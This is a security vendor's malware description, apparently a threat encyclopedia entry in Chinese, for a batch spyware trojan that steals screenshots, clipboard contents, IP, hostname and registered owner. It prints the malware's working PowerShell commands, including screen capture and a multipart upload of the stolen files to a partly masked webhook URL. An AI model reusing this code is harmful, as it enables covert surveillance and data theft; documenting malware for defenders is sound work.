TrojanSpy.BAT.DISHOOK.A

该木马间谍程序通过两种途径进入系统：一是被其他恶意软件作为文件释放到系统中，二是用户访问恶意网站时在不知情的情况下下载的文件。

它不具备任何传播功能。

该程序会连接至网站进行信息收发。 它不具备任何后门功能。

然而截至本文撰写时，上述网站均已无法访问。

Arrival Details

该木马间谍程序通过两种途径进入系统：一是被其他恶意软件作为文件释放到系统中，二是用户访问恶意网站时在不知情的情况下下载的文件。

Installation

该间谍木马会释放以下文件：

• %User Temp%\screenshot.png → captured screenshot
• %User Temp%\clipboard_history.txt → clipboard content
• %User Temp%\tmp_geo.json → deleted afterwards

(Note: %User Temp% 是当前用户的临时文件夹,通常位于此路径 C:\Documents and Settings\{user name}\Local Settings\Temp 在Windows 2000（32位）、XP及Server 2003（32位）系统上，或 C:\Users\{user name}\AppData\Local\Temp 在Windows Vista、7、8、8.1、2008（64位）、2012（64位）及10（64位）系统上。）

它会添加以下进程：

• reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "RegisteredOwner"
• powershell -command "(Invoke-WebRequest -Uri 'https://{BLOCKED}-api.com ').Content"
• powershell -NoProfile -Command "(Get-Content '%User Temp%\tmp_geo.json' | ConvertFrom-Json).country"
• curl -s "https://{BLOCKED}-api.com /json/{public ip address}" > "%temp%\tmp_geo.json"
• powershell -Command "try { Get-Clipboard -Raw } catch { '' }"
• powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing;" "$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds;" "$bmp = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height;" "$graphics = [Drawing.Graphics]::FromImage($bmp);" "$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size);" "$bmp.Save('%User Temp%\screenshot.png', [Drawing.Imaging.ImageFormat]::Png);"
• powershell -NoProfile -Command "$webhookUrl = 'https://{BLOCKED}d.com/api/webhooks/1393566442842226800/eDTSlOpqEFMYJqCGMgWD7lCqzk1theJLOgIB0Rv2nwyzDx-WvPoNnFTcr5BDnHXBOuu0 ';" "$screenshotPath = '%User Temp%\screenshot.png';" "$clipboardPath = '%User Temp%\clipboard_history.txt';" "$payload = @{embeds = @(@{title='System Information'; color=3447003; fields=@(" "@{name='IP Address'; value=''; inline=$false}," "@{name='Country'; value=''; inline=$false}," "@{name='Registered Owner'; value='{username} '; inline=$false}," "@{name='Computer Name'; value='{hostname}'; inline=$false}," "@{name='Clipboard History'; value='See attached clipboard_history.txt'; inline=$false}" "); image=@{url='attachment://screenshot.png'}})};" "$json = $payload | ConvertTo-Json -Depth 6;" "$boundary = [System.Guid]::NewGuid().ToString();" "$LF = \"`r`n\";" "$body = New-Object System.IO.MemoryStream;" "$writer = New-Object System.IO.StreamWriter($body);" "$writer.Write(\"--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"payload_json\"' + \"$LF\");" "$writer.Write('Content-Type: application/json' + \"$LF$LF\");" "$writer.Write($json + \"$LF\");" "$writer.Write(\"--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"file1\"; filename=\"screenshot.png\"' + \"$LF\");" "$writer.Write('Content-Type: image/png' + \"$LF$LF\");" "$writer.Flush();" "$fileBytes = [System.IO.File]::ReadAllBytes($screenshotPath);" "$body.Write($fileBytes, 0, $fileBytes.Length);" "$writer.Write(\"$LF--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"file2\"; filename=\"clipboard_history.txt\"' + \"$LF\");" "$writer.Write('Content-Type: text/plain; charset=utf-8' + \"$LF$LF\");" "$writer.Flush();" "$clipBytes = [System.IO.File]::ReadAllBytes($clipboardPath);" "$body.Write($clipBytes, 0, $clipBytes.Length);" "$writer.Write(\"$LF--$boundary--$LF\");" "$writer.Flush();" "$body.Position = 0;" "$headers = @{ 'Content-Type' = \"multipart/form-data; boundary=$boundary\" };" "Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $body -Headers $headers"

Propagation

该木马间谍程序不具备任何传播功能。

Backdoor Routine

该木马间谍程序会连接以下网站进行信息传输：

• https://{BLOCKED}d.com/api/webhooks/1393566442842226800/eDTSlOpqEFMYJqCGMgWD7lCqzk1theJLOgIB0Rv2nwyzDx-WvPoNnFTcr5BDnHXBOuu0

它不具备任何后门功能。

Rootkit Capabilities

该木马间谍程序不具备 rootkit 功能。

Information Theft

该木马间谍程序会收集以下数据：

• Screenshot
• Clipboard History
• 公网IP地址;/li>
• Windows注册所有者
• Hostname
• Geolocation
• System GUID

其他信息

该间谍木马会连接以下URL以获取受感染系统的IP地址：

• https://{BLOCKED}ify.org
• https://{BLOCKED}-api.com

它会执行以下操作：

• 该程序会截取系统屏幕截图并保存为文件。

然而截至本文撰写时，上述网站均已无法访问。

它不会利用任何漏洞。